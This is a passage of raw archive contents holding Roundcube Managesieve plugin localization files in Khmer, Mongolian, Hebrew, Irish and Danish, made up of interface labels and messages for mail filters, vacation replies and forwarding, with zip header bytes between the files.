$labels['seconds'] = 'វិនាទី';
$labels['rulestop'] = 'ឈប់​គិត​ទៅ​លើ​លក្ខខណ្ឌ';
$labels['enable'] = 'បើក/បិទ';
$labels['filterdef'] = 'អត្ថន័យ​តម្រង';
$labels['active'] = 'សកម្ម';
$labels['none'] = 'គ្មាន';
$labels['fromfile'] = 'ពី​ឯកសារ';
$labels['filterdisabled'] = 'បាន​បិទ​តម្រង';
$labels['valuenotequals'] = 'តម្លៃ​មិន​ស្មើ​នឹង';
$labels['flagread'] = 'បាន​អាន';
$labels['flagdeleted'] = 'បាន​លុប';
$labels['flaganswered'] = 'បាន​ឆ្លើយ';
$labels['flagflagged'] = 'បាន​ដាក់​ទង់';
$labels['flagdraft'] = 'ការ​ព្រាង';
$labels['setvariable'] = 'កំណត់​អថេរ';
$labels['setvarname'] = 'ឈ្មោះ​អថេរ៖';
$labels['setvarvalue'] = 'តម្លៃ​អថេរ៖';
$labels['varlower'] = 'អក្សរ​តូច';
$labels['varupper'] = 'អក្សរ​ធំ';
$labels['varlength'] = 'ប្រវែង';
$labels['notify'] = 'ផ្ញើ​ការ​ជូន​ដំណឹង';
$labels['notifyimportance'] = 'សំខាន់៖';
$labels['notifyimportancelow'] = 'ទាប';
$labels['notifyimportancenormal'] = 'ធម្មតា';
$labels['notifyimportancehigh'] = 'ខ្ពស់';
$labels['notifymethodmailto'] = 'អ៊ីមែល';
$labels['notifymethodtel'] = 'ទូរស័ព្ទ';
$labels['filtercreate'] = 'បង្កើត​តម្រង';
$labels['usedata'] = 'ប្រើ​ទិន្នន័យ​ទាំង​នេះ​ក្នុង​តម្រង៖';
$labels['nextstep'] = 'ជំហាន​បន្ទាប់';
$labels['...'] = '...';
$labels['currdate'] = 'កាលបរិច្ឆេទ​បច្ចុប្បន្ន';
$labels['datetest'] = 'កាលបរិច្ឆេទ';
$labels['dateheader'] = 'ក្បាល៖';
$labels['year'] = 'ឆ្នាំ';
$labels['month'] = 'ខែ';
$labels['day'] = 'ថ្ងៃ';
$labels['date'] = 'កាល​បរិច្ឆេទ (yyyy-mm-dd)';
$labels['julian'] = 'កាល​បរិច្ឆេទ (julian)';
$labels['hour'] = 'ម៉ោង';
$labels['minute'] = 'នាទី';
$labels['second'] = 'វិនាទី';
$labels['time'] = 'ម៉ោង (hh:mm:ss)';
$labels['iso8601'] = 'កាល​បរិច្ឆេទ (ISO8601)';
$labels['std11'] = 'កាល​បរិច្ឆេទ (RFC2822)';
$labels['zone'] = 'តំបន់​ម៉ោង';
$labels['weekday'] = 'ថ្ងៃ​សប្ដាហ៍ (0-6)';
$labels['advancedopts'] = 'ជម្រើស​កម្រិត​ខ្ពស់';
$labels['body'] = 'តួ';
$labels['address'] = 'អាសយដ្ឋាន';
$labels['envelope'] = 'ស្រោម​សំបុត្រ';
$labels['text'] = 'អត្ថបទ';
$labels['contenttype'] = 'ប្រភេទ​មាតិកា';
$labels['modtype'] = 'ប្រភេទ៖';
$labels['allparts'] = 'ទាំងអស់';
$labels['domain'] = 'ដូមេន';
$labels['localpart'] = 'ផ្នែក​មូលដ្ឋាន';
$labels['user'] = 'អ្នកប្រើ';
$labels['detail'] = 'លម្អិត';
$labels['index'] = 'លិបិក្រម៖';
$labels['indexlast'] = 'បកក្រោយ';
$labels['spamtestequals'] = 'ស្មើ​នឹង';
$labels['spamtestnotequals'] = 'មិន​ស្មើ​នឹង';
$labels['vacation.subject'] = 'ចំណងជើង';
$labels['vacation.body'] = 'តួ';
$labels['vacation.keep'] = 'រក្សា';
$labels['duplicate.header'] = 'ក្បាល៖';
PKh�\d2z��
�
*plugins/managesieve/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Шүүлтүүр';
$labels['managefilters'] = 'Ирэх мэйлийн шүүлтүүр зохицуулах';
$labels['filtername'] = 'Шүүх нэр';
$labels['newfilter'] = 'Шинэ шүүлтүүр';
$labels['filteradd'] = 'Шүүлтүүр нэмэх';
$labels['filterdel'] = 'Шүүлтүүр устгах';
$labels['moveup'] = 'Дээш зөөх';
$labels['movedown'] = 'Доош зөөх';
$labels['filterallof'] = 'Дараах дүрмүүдтэй бүгдтэй нь таарч байна';
$labels['filteranyof'] = 'дараах дүрмүүдтэй таарч байна';
$labels['filterany'] = 'бүх зурвас';
$labels['filtercontains'] = 'агуулсан';
$labels['filternotcontains'] = 'агуулаагүй';
$labels['filteris'] = 'тэнцүү';
$labels['filterisnot'] = 'нь тэнцүү биш';
$labels['filterexists'] = 'байна';
$labels['filternotexists'] = 'байхгүй';
$labels['filtermatches'] = 'таарсан';
$labels['filternotmatches'] = 'таараагүй';
$labels['filterregex'] = 'хайлтад таарсан';
$labels['filternotregex'] = 'хайлт таараагүй';
$labels['filterunder'] = 'доор';
$labels['addrule'] = 'Дүрэм нэмэх';
$labels['delrule'] = 'Дүрэм устгах';
$labels['messagemoveto'] = 'Захиа зөөх';
$labels['messageredirect'] = 'Захиаг дамжуулах';
$labels['messagecopyto'] = 'Захиа хуулж явуулах';
$labels['messagesendcopy'] = 'Захианы хуулбарыг илгээх';
$labels['messagereply'] = 'Захианд хариулах';
$labels['messagedelete'] = 'Захиа устгах';
$labels['del'] = 'Устгах';
$labels['sender'] = 'Илгээгч';
$labels['flagread'] = 'Унших';
$labels['datetest'] = 'Огноо';
$labels['spamtestequals'] = 'тэнцүү';
$labels['spamtestnotequals'] = 'нь тэнцүү биш';
$labels['vacation.subject'] = 'Гарчиг';
PKh�\2N��>�>*plugins/managesieve/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'מסננים';
$labels['managefilters'] = 'ניהול מסננים לדואר נכנס';
$labels['filtername'] = 'שם המסנן';
$labels['newfilter'] = 'מסנן חדש';
$labels['filteradd'] = 'הוספת מסנן';
$labels['filterdel'] = 'מחיקת מסנן';
$labels['rules'] = 'כללים';
$labels['actions'] = 'פעולות';
$labels['scope'] = 'היקף';
$labels['moveup'] = 'הזזה מעלה';
$labels['movedown'] = 'הזזה מטה';
$labels['filterallof'] = 'תאימות לכל הכללים שלהלן';
$labels['filteranyof'] = 'תאימות לחלק מהכללים שלהלן';
$labels['filterany'] = 'כל ההודעות';
$labels['filtercontains'] = 'מכיל';
$labels['filternotcontains'] = 'לא מכיל';
$labels['filteris'] = 'שווה ערך ל-';
$labels['filterisnot'] = 'אינו שווה ערך ל-';
$labels['filterexists'] = 'קיים';
$labels['filternotexists'] = 'לא קיים';
$labels['filtermatches'] = 'תואם ביטוי';
$labels['filternotmatches'] = 'לא תואם ביטוי';
$labels['filterregex'] = 'תואם ביטוי מורכב';
$labels['filternotregex'] = 'לא תואם ביטוי מורכב';
$labels['filterunder'] = 'תחת';
$labels['filterover'] = 'מעל';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME Part:';
$labels['mime-message'] = 'הודעה';
$labels['mime-anychild'] = 'הכל';
$labels['mime-type'] = 'סוג';
$labels['mime-subtype'] = 'תת סוג';
$labels['mime-contenttype'] = 'סוג תוכן';
$labels['mime-param'] = 'פרמטר';
$labels['addrule'] = 'הוספת כלל';
$labels['delrule'] = 'מחיקת כלל';
$labels['messagemoveto'] = 'העברת הודעה אל';
$labels['messageredirect'] = 'השמה חדשה של ההודעה אל';
$labels['messagecopyto'] = 'העתקת ההודעה אל';
$labels['messagesendcopy'] = 'משלוח העתק מההודעה אל';
$labels['messagereply'] = 'מענה עם הודעה';
$labels['messagedelete'] = 'מחיקת הודעה';
$labels['messagediscard'] = 'ביטול ההודעה';
$labels['messagekeep'] = 'שמירת הודעה בדואר נכנס';
$labels['messagesrules'] = 'עבור דואר נכנס:';
$labels['messagesactions'] = '...מבצע הפעולות הבאות:';
$labels['add'] = 'הוספה';
$labels['del'] = 'מחיקה';
$labels['sender'] = 'השולח';
$labels['recipient'] = 'הנמען';
$labels['vacationaddr'] = 'כתובות הדוא"ל שלי:';
$labels['vacationdays'] = 'באיזו תדירות ( בימים ) לשלוח הודעות:';
$labels['vacationinterval'] = 'באיזו תדירות לשלוח ההודעה';
$labels['vacationreason'] = 'גוף ההודעה (סיבת החופשה):';
$labels['vacationfrom'] = 'כתובת שולח התשובה:';
$labels['vacationsubject'] = 'נושא ההודעה:';
$labels['days'] = 'ימים';
$labels['seconds'] = 'שניות';
$labels['rulestop'] = 'עצירה של בחינת הכללים';
$labels['enable'] = 'אפשור/ניטרול';
$labels['filterset'] = 'ערכת מסננים';
$labels['filtersets'] = 'קבוצות מסננים';
$labels['filtersetadd'] = 'הוספה של ערכת מסננים';
$labels['filtersetdel'] = 'מחיקת של ערכת מסננים';
$labels['filtersetact'] = 'הפעלה של ערכת המסננים הנוכחית';
$labels['filtersetdeact'] = 'השבתה של ערכת מסננים נוכחית';
$labels['filterseteditraw'] = 'עריכת סינון';
$labels['filtersetswitch'] = 'הפעלה/השבתה ערכת מסננים';
$labels['filterdef'] = 'הגדרת מסנן';
$labels['filtersetname'] = 'שם של ערכת מסננים';
$labels['newfilterset'] = 'ערכת מסננים חדשה';
$labels['active'] = 'פעיל';
$labels['none'] = 'אף אחד מאלה';
$labels['fromset'] = 'מקבוצה';
$labels['fromfile'] = 'מקובץ';
$labels['filterdisabled'] = 'מסנן מושבת';
$labels['filterenabled'] = 'מופעל מסנן';
$labels['countisgreaterthan'] = 'המספר גדול מ-';
$labels['countisgreaterthanequal'] = 'המספר גדול או שווה ל-';
$labels['countislessthan'] = 'המספר קטן מ-';
$labels['countislessthanequal'] = 'המספר קטן או שווה ל-';
$labels['countequals'] = 'המספר שווה ל-';
$labels['countnotequals'] = 'המספר אינו שווה ל ';
$labels['valueisgreaterthan'] = 'הערך גדול מ-';
$labels['valueisgreaterthanequal'] = 'הערך גדול או שווה ל-';
$labels['valueislessthan'] = 'הערך קטן מ-';
$labels['valueislessthanequal'] = 'הערך קטן או שווה ל-';
$labels['valueequals'] = 'הערך שווה ל-';
$labels['valuenotequals'] = 'הערך אינו שוה ל ';
$labels['setflags'] = 'סימון דגלים להודעה';
$labels['addflags'] = 'הוספת דגלים להודעה';
$labels['removeflags'] = 'הסרת דגלים מההודעה';
$labels['flagread'] = 'נקרא';
$labels['flagdeleted'] = 'נמחק';
$labels['flaganswered'] = 'נענה';
$labels['flagflagged'] = 'סומן בדגל';
$labels['flagdraft'] = 'טיוטה';
$labels['addheader'] = 'הוספת כותרת להודעה';
$labels['deleteheader'] = 'הסרת כותרת מההודעה';
$labels['headername'] = 'שם הכותרת';
$labels['headervalue'] = 'תוכן הכותרת';
$labels['headerpos'] = 'מיקום הכותרת';
$labels['headeratstart'] = 'בהתחלה';
$labels['headeratend'] = 'בסוף';
$labels['headeroccurrence'] = 'מופע הכותרת/מיקומה';
$labels['headerfromstart'] = 'מההתחלה';
$labels['headerfromend'] = 'מהסוף';
$labels['headerpatterns'] = 'תבנית תוכנה של הכותרת';
$labels['headermatchtype'] = 'סוג ההתאמה:';
$labels['setvariable'] = 'הגדרת משתנה';
$labels['setvarname'] = 'שם המשתנה:';
$labels['setvarvalue'] = 'ערך המשתנה:';
$labels['setvarmodifiers'] = 'גורם משנה:';
$labels['varlower'] = 'אותיות קטנות';
$labels['varupper'] = 'אותיות גדולות';
$labels['varlowerfirst'] = 'התו הראשון אות קטנה';
$labels['varupperfirst'] = 'התו הראשון אות גדולה';
$labels['varquotewildcard'] = 'תו מיוחד יש לשים בין מרכאות';
$labels['varlength'] = 'אורך';
$labels['notify'] = 'משלוח התראה';
$labels['notifytarget'] = 'יעד התראה:';
$labels['notifymessage'] = 'הודעת התראה (רשות):';
$labels['notifyoptions'] = 'אפשרויות התראה (רשות):';
$labels['notifyfrom'] = 'שולח התראה (רשות):';
$labels['notifyimportance'] = 'חשיובת:';
$labels['notifyimportancelow'] = 'נמוכה';
$labels['notifyimportancenormal'] = 'רגילה';
$labels['notifyimportancehigh'] = 'גבוהה';
$labels['notifymethodmailto'] = 'דוא״ל';
$labels['notifymethodtel'] = 'טלפון';
$labels['notifymethodsms'] = 'מסרון';
$labels['filtercreate'] = 'יצירת מסנן';
$labels['usedata'] = 'שימוש במידע שלהלן ליצירת המסנן:';
$labels['nextstep'] = 'הצעד הבא';
$labels['...'] = '...';
$labels['string'] = 'מחרוזת';
$labels['currdate'] = 'תאריך נוכחי';
$labels['datetest'] = 'תאריך';
$labels['dateheader'] = 'כותרת:';
$labels['year'] = 'שנה';
$labels['month'] = 'חודש';
$labels['day'] = 'יום';
$labels['date'] = 'תאריך (שנה-חודש-יום)';
$labels['julian'] = 'תאריך (יוליאני)';
$labels['hour'] = 'שעה';
$labels['minute'] = 'דקה';
$labels['second'] = 'שניה';
$labels['time'] = 'זמן (שעה:דקה:שניה)';
$labels['iso8601'] = 'תאריך (ISO8601)';
$labels['std11'] = 'תאריך (RFC2822)';
$labels['zone'] = 'איזור זמן';
$labels['weekday'] = 'יום בשבוע (0-6)';
$labels['advancedopts'] = 'אפשרויות מתקדמות';
$labels['body'] = 'גוף ההודעה';
$labels['address'] = 'כתובת';
$labels['envelope'] = 'מעטפה';
$labels['modifier'] = 'גורם שינוי:';
$labels['text'] = 'תמליל';
$labels['undecoded'] = 'לא מקודד ( גולמי )';
$labels['contenttype'] = 'סוג התוכן';
$labels['modtype'] = 'סוג:';
$labels['allparts'] = 'הכל';
$labels['domain'] = 'מתחם';
$labels['localpart'] = 'חלק מקומי';
$labels['user'] = 'משתמש';
$labels['detail'] = 'פרטים';
$labels['comparator'] = 'משווה:';
$labels['default'] = 'ברירת מחדל';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'case insensitive (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'אינדקס:';
$labels['indexlast'] = 'בחזרה';
$labels['spamtest'] = 'דרגת הספאם';
$labels['spamtestisgreaterthan'] = 'גדול מ-';
$labels['spamtestisgreaterthanequal'] = 'גדול או שווה ל-';
$labels['spamtestislessthan'] = 'קטן מ-';
$labels['spamtestislessthanequal'] = 'קטן או שווה ל-';
$labels['spamtestequals'] = 'שווה ל-';
$labels['spamtestnotequals'] = 'אינו שווה ל-';
$labels['spamtestisunknown'] = 'לא ידוע';
$labels['vacation'] = 'מחוץ למשרד';
$labels['vacation.reply'] = 'הודעת תשובה';
$labels['vacation.advanced'] = 'הגדרות מתקדמות';
$labels['vacation.from'] = 'כתובת שולח התשובה';
$labels['vacation.subject'] = 'נושא';
$labels['vacation.body'] = 'גוף ההודעה';
$labels['vacation.start'] = 'מועד התחלה';
$labels['vacation.end'] = 'מועד סיום';
$labels['vacation.status'] = 'מצב';
$labels['vacation.on'] = 'מופעל';
$labels['vacation.off'] = 'כבוי';
$labels['vacation.addresses'] = 'כתובות הדוא"ל שלי';
$labels['vacation.interval'] = 'מרווח בין תשובות';
$labels['vacation.after'] = 'הצגת הודעה בדבר היעדרות מהמשרד אחרי ';
$labels['vacation.saving'] = 'שמירת מידע...';
$labels['vacation.action'] = 'פעולה על הודעה נכנסת';
$labels['vacation.keep'] = 'להשאיר';
$labels['vacation.discard'] = 'להפטר';
$labels['vacation.redirect'] = 'הפניה אל';
$labels['vacation.copy'] = 'שליחת העתק אל';
$labels['forward'] = 'העברה';
$labels['forward.redirect'] = 'הפניה אל';
$labels['forward.copy'] = 'שליחת העתק אל';
$labels['forward.on'] = 'מופעל';
$labels['forward.off'] = 'כבוי';
$labels['forward.status'] = 'סטטוס';
$labels['forward.action'] = 'יש לבצע הפעולה הבאה על דואר נכנס:';
$labels['forward.saving'] = 'שמירת מידע...';
$labels['filladdresses'] = 'שימוש בכל כתובת הדוא"ל שלי';
$labels['arialabelfiltersetactions'] = 'פעולות על קבוצה של חוקי סינון';
$labels['arialabelfilteractions'] = 'פעולות מסנן';
$labels['arialabelfilterform'] = 'מאפייני מסנן';
$labels['ariasummaryfilterslist'] = 'רשימה של מסננים';
$labels['ariasummaryfiltersetslist'] = 'רשימת קבוצות של חוקי סינון';
$labels['filterstitle'] = 'ערוך מסנני דואר נכנס';
$labels['vacationtitle'] = 'ערוך כלל מחוץ-אל-משרדי';
$labels['forwardtitle'] = 'עריכה של כלל להעברה';
$labels['message'] = 'הודעה';
$labels['duplicate'] = 'מוכפל';
$labels['notduplicate'] = 'לא מוכפל';
$labels['duplicate.handle'] = 'כינוי';
$labels['duplicate.header'] = 'כותרת';
$labels['duplicate.uniqueid'] = 'מזהה';
$labels['duplicate.seconds'] = 'תם הזמן שהוקצה (שניות):';
$labels['duplicate.last'] = 'יחסית לזמן הביצוע האחרון';
$messages['filterunknownerror'] = 'שגיאת שרת בלתי מוכרת.';
$messages['filterconnerror'] = 'לא ניתן להתחבר לשרת.';
$messages['filterdeleteerror'] = 'לא ניתן למחוק סינון. שגיאת שרת.';
$messages['filterdeleted'] = 'המסנן נמחק בהצלחה.';
$messages['filtersaved'] = 'המסנן נשמר בהצלחה.';
$messages['filtersaveerror'] = 'לא ניתן לשמור סינון. שגיאת שרת.';
$messages['filterformerror'] = 'טופס הסינון מכיל שגיאות';
$messages['filterdeleteconfirm'] = 'האם אכן ברצונך למחוק את המסנן הנבחר?';
$messages['ruledeleteconfirm'] = 'האם אכן ברצונך למחוק את הכלל הנבחר?';
$messages['actiondeleteconfirm'] = 'האם אכן ברצונך למחוק את הפעולה הנבחרת?';
$messages['forbiddenchars'] = 'תווים אסורים בשדה.';
$messages['cannotbeempty'] = 'השדה לא יכול להישאר ריק.';
$messages['ruleexist'] = 'כבר קיים מסנן בשם כזה.';
$messages['setactivateerror'] = 'לא ניתן להפעיל את ערכת המסננים שנבחרה. אירעה שגיאה בצד השרת.';
$messages['setdeactivateerror'] = 'לא ניתן להשבית את ערכת המסננים שנבחרה. אירעה שגיאה בצד השרת.';
$messages['setdeleteerror'] = 'לא ניתן למחוק את ערכת המסננים הנבחרת. אירעה שגיאה בצד השרת.';
$messages['setactivated'] = 'ערכת המסננים הופעלה בהצלחה.';
$messages['setdeactivated'] = 'ערכת המסננים הושבתה בהצלחה.';
$messages['setdeleted'] = 'ערכת המסננים נמחקה בהצלחה.';
$messages['setupdated'] = 'ערכת המסננים עודכנה בהצלחה.';
$messages['setdeleteconfirm'] = 'האם אכן ברצונך למחוק את ערכת המסננים שנבחרה?';
$messages['setcreateerror'] = 'לא ניתן ליצור ערכת מסננים. אירעה שגיאה בצד השרת.';
$messages['setcreated'] = 'ערכת המסננים נוצרה בהצלחה.';
$messages['activateerror'] = 'לא ניתן להפעיל את המסננים הנבחרים. אירעה שגיאה בצד השרת.';
$messages['deactivateerror'] = 'לא ניתן לנטרל את המסננים הנבחרים. אירעה שגיאה בצד השרת.';
$messages['deactivated'] = 'המסננים הופעלו בהצלחה.';
$messages['activated'] = 'המסננים נוטרלו בהצלחה.';
$messages['moved'] = 'המסנן הועבר בהצלחה.';
$messages['moveerror'] = 'לא ניתן להעביר את המסנן הנבחר. אירעה שגיאה בצד השרת.';
$messages['nametoolong'] = 'השם ארוך מדי.';
$messages['namereserved'] = 'השם הזה שמור.';
$messages['setexist'] = 'הערכה כבר קיימת.';
$messages['nodata'] = 'חובה לבחור במיקום אחד לפחות!';
$messages['invaliddateformat'] = 'תאריך לא חוקי אן פורמט לא תקין';
$messages['saveerror'] = 'לא ניתן לשמור המידע בשל שגיאה של השרת';
$messages['vacationsaved'] = 'הגדרת המועד להפעלת ההודעה על היעדרות מהמשרד נשמרה';
$messages['forwardsaved'] = 'מידע להעברה נשמר בהצלחה';
$messages['emptyvacationbody'] = 'גוף של הודעת חופשה נדרש!';
$messages['duplicate.conflict.err'] = 'לא ניתן להוסיף כותרת עם מזהה יחודי';
$messages['disabledaction'] = 'פעולה אסורה';
$messages['lastindexempty'] = 'נחוץ מצביע כאשר סופרים מהסוף';
$messages['noflagset'] = 'יש לסמן לפחות דגל אחד';
PKh�\�o�I I *plugins/managesieve/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Scagairí';
$labels['managefilters'] = 'Bainistigh na scagairí do theachtaireachtaí isteach';
$labels['filtername'] = 'Ainm an scagaire';
$labels['newfilter'] = 'Scagaire nua';
$labels['filteradd'] = 'Cuir scagaire leis';
$labels['filterdel'] = 'Scrios an scagaire';
$labels['rules'] = 'Rialacha';
$labels['actions'] = 'Gníomhartha';
$labels['scope'] = 'Raon feidhme';
$labels['moveup'] = 'Bog suas';
$labels['movedown'] = 'Bog síos';
$labels['filterany'] = 'gach teachtaireacht';
$labels['filtercontains'] = 'ina bhfuil';
$labels['filternotcontains'] = 'níl seo ann';
$labels['filteris'] = 'cothrom le';
$labels['filterisnot'] = 'níl sé cothrom le';
$labels['filterunder'] = 'faoi';
$labels['filterover'] = 'thar';
$labels['mime-message'] = 'teachtaireacht';
$labels['mime-anychild'] = 'ceann ar bith';
$labels['mime-type'] = 'cineál';
$labels['mime-subtype'] = 'fochineál';
$labels['mime-param'] = 'paraiméadar';
$labels['addrule'] = 'Cuir rial leis';
$labels['delrule'] = 'Scrios an rial';
$labels['messagemoveto'] = 'Bog teachtaireacht chuig';
$labels['messageredirect'] = 'Atreoraigh an teachtaireacht chuig';
$labels['messagecopyto'] = 'Macasamhlaigh an teachtaireacht chuig';
$labels['messagesendcopy'] = 'Seol macasamhail den teachtaireacht chuig';
$labels['messagereply'] = 'Freagair le teachtaireacht';
$labels['messagedelete'] = 'Scrios an teachtaireacht';
$labels['messagediscard'] = 'Cuileáil leis an teachtaireacht';
$labels['messagekeep'] = 'Coinnigh an teachtaireacht sa Bhosca Isteach';
$labels['messagesrules'] = 'I gcomhair teachtaireachtaí isteach:';
$labels['messagesactions'] = '...rith na gníomhartha seo a leanas:';
$labels['add'] = 'Cuir leis';
$labels['del'] = 'Scrios';
$labels['sender'] = 'Seoltóir';
$labels['recipient'] = 'Faighteoir';
$labels['vacationaddr'] = 'Mo sheoltaí ríomhphoist:';
$labels['vacationdays'] = 'Cé chomh minic ar chóir teachtaireachtaí a sheoladh (i laetheanta):';
$labels['vacationinterval'] = 'Cé chomh minic ar chóir teachtaireachtaí a sheoladh:';
$labels['vacationfrom'] = 'Seoladh fhreagair an tseoltóra:';
$labels['vacationsubject'] = 'Ábhar na teachtaireachta:';
$labels['days'] = 'lá';
$labels['seconds'] = 'soicind';
$labels['enable'] = 'Cumasaigh/Díchumasaigh';
$labels['filtersets'] = 'Tacair scagairí';
$labels['filterdef'] = 'Sainmhíniú an fhillteáin';
$labels['active'] = 'gníomhach';
$labels['none'] = 'dada';
$labels['fromset'] = 'ón tacair';
$labels['fromfile'] = 'ón gcomhad';
$labels['filterdisabled'] = 'Díchumasaíodh an scagaire';
$labels['valueisgreaterthan'] = 'tá an luach níos mó ná';
$labels['valueisgreaterthanequal'] = 'tá an luach níos mó ná nó cothrom le';
$labels['valueislessthan'] = 'tá an luach níos lú ná';
$labels['valueequals'] = 'tá an luach cothrom le';
$labels['removeflags'] = 'Bain bratacha ón teachtaireacht';
$labels['flagread'] = 'Léite';
$labels['flagdeleted'] = 'Scriosta';
$labels['flaganswered'] = 'Freagartha';
$labels['flagflagged'] = 'Bratach curtha leis';
$labels['flagdraft'] = 'Cum teachtaireacht';
$labels['headeratstart'] = 'ag an tús';
$labels['headeratend'] = 'ag an deireadh';
$labels['headerfromstart'] = 'ón tús';
$labels['headerfromend'] = 'ón deireadh';
$labels['setvariable'] = 'Socraigh athraitheach';
$labels['setvarmodifiers'] = 'Mionathraitheoirí:';
$labels['varlower'] = 'cás íochtar';
$labels['varupper'] = 'cás uachtar';
$labels['varlength'] = 'fad';
$labels['notify'] = 'Seol fógra';
$labels['notifytarget'] = 'Sprioc an fhógra:';
$labels['notifyimportance'] = 'Tábhacht:';
$labels['notifyimportancelow'] = 'íseal';
$labels['notifyimportancenormal'] = 'gnáth';
$labels['notifyimportancehigh'] = 'ard';
$labels['notifymethodmailto'] = 'Seoladh ríomhphoist';
$labels['notifymethodtel'] = 'Guthán';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Cruthaigh scagaire';
$labels['nextstep'] = 'An chéad chéim eile';
$labels['...'] = '...';
$labels['string'] = 'Teaghrán';
$labels['currdate'] = 'An dáta reatha';
$labels['datetest'] = 'Dáta';
$labels['dateheader'] = 'ceanntásc:';
$labels['year'] = 'bliain';
$labels['month'] = 'mí';
$labels['day'] = 'lá';
$labels['date'] = 'dáta (bbbb-mm-ll)';
$labels['julian'] = 'dáta (Iúil)';
$labels['hour'] = 'uair';
$labels['minute'] = 'nóiméad';
$labels['second'] = 'soicind';
$labels['time'] = 'am (uu:nn:ss)';
$labels['iso8601'] = 'dáta (ISO8601)';
$labels['std11'] = 'dáta (RFC2822)';
$labels['zone'] = 'crios ama';
$labels['weekday'] = 'lá oibre (0-6)';
$labels['advancedopts'] = 'Ardroghanna';
$labels['body'] = 'Corp';
$labels['address'] = 'seoladh';
$labels['envelope'] = 'clúdach litreach';
$labels['modifier'] = 'mionathraitheoir:';
$labels['text'] = 'téacs';
$labels['modtype'] = 'cineál:';
$labels['allparts'] = 'uile';
$labels['domain'] = 'fearann';
$labels['localpart'] = 'páirt logánta';
$labels['user'] = 'úsáideoir';
$labels['detail'] = 'mionsonra';
$labels['default'] = 'réamhshocrú';
$labels['index'] = 'Treorán:';
$labels['indexlast'] = 'siar';
$labels['spamtestequals'] = 'cothrom le';
$labels['spamtestnotequals'] = 'níl sé cothrom le';
$labels['vacation'] = 'As Oifig';
$labels['vacation.reply'] = 'Freagair an teachtaireacht';
$labels['vacation.advanced'] = 'Ardsocruithe';
$labels['vacation.subject'] = 'Ábhar';
$labels['vacation.body'] = 'Corp';
$labels['vacation.start'] = 'Am tosaigh';
$labels['vacation.end'] = 'Am le críochnú';
$labels['vacation.status'] = 'Treo';
$labels['vacation.on'] = 'Ar siúl';
$labels['vacation.off'] = 'As';
$labels['vacation.addresses'] = 'Mo sheoltaí ríomhphoist';
$labels['vacation.interval'] = 'Eatramh an fhreagra';
$labels['vacation.keep'] = 'Coinnigh';
$labels['vacation.discard'] = 'Cuileáil';
$labels['vacation.redirect'] = 'Atreoraigh chuig';
$labels['vacation.copy'] = 'Seol macasamhail chuig';
$labels['forward'] = 'Cur ar aghaidh';
$labels['forward.redirect'] = 'Atreoraigh chuig';
$labels['forward.copy'] = 'Seol macasamhail chuig';
$labels['forward.on'] = 'Ar siúl';
$labels['forward.off'] = 'As';
$labels['forward.status'] = 'Treo:';
$labels['filladdresses'] = 'Líon le mo sheoltaí uile';
$labels['arialabelfilteractions'] = 'Gníomhartha an scagaire';
$labels['arialabelfilterform'] = 'Airíonna an fhillteáin';
$labels['ariasummaryfilterslist'] = 'Liosta de na fillteáin';
$labels['message'] = 'Teachtaireacht';
$labels['duplicate.header'] = 'ceanntásc:';
$labels['duplicate.uniqueid'] = 'aitheantóir:';
$messages['filterdeleted'] = 'Scriosadh an fillteán go ráthúil.';
$messages['filterdeleteconfirm'] = 'An bhfuil tú cinnte gur mian leat an scagaire roghnaithe a scriosadh?';
$messages['ruledeleteconfirm'] = 'An bhfuil tú cinnte gur mian leat an riail roghnaithe sin a scriosadh?';
$messages['actiondeleteconfirm'] = 'An bhfuil tú cinnte gur mian leat an gníomh roghnaithe a scriosadh?';
$messages['forbiddenchars'] = 'Tá carachtair neamhcheadaithe sa réimse.';
$messages['cannotbeempty'] = 'Ní féidir leis an réimse bheith folamh.';
$messages['ruleexist'] = 'Tá an scagaire leis an ainm sonraithe ann cheana.';
$messages['moved'] = 'Bogadh an scagaire go ráthúil.';
$messages['nametoolong'] = 'Tá an t-ainm rófhada.';
$messages['namereserved'] = 'Ainm curtha in áirithe.';
$messages['setexist'] = 'Tá an tacair sin ann cheana.';
$messages['nodata'] = 'Caithfear ar a laghad suíomh amháin a roghnú!';
$messages['disabledaction'] = 'Ní cheadaítear an gníomh sin.';
PKh�\��x�W+W+*plugins/managesieve/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtre';
$labels['managefilters'] = 'Administrer indgående mail filtrering';
$labels['filtername'] = 'Filter navn';
$labels['newfilter'] = 'Nyt filter';
$labels['filteradd'] = 'Tilføj filter';
$labels['filterdel'] = 'Slet filter';
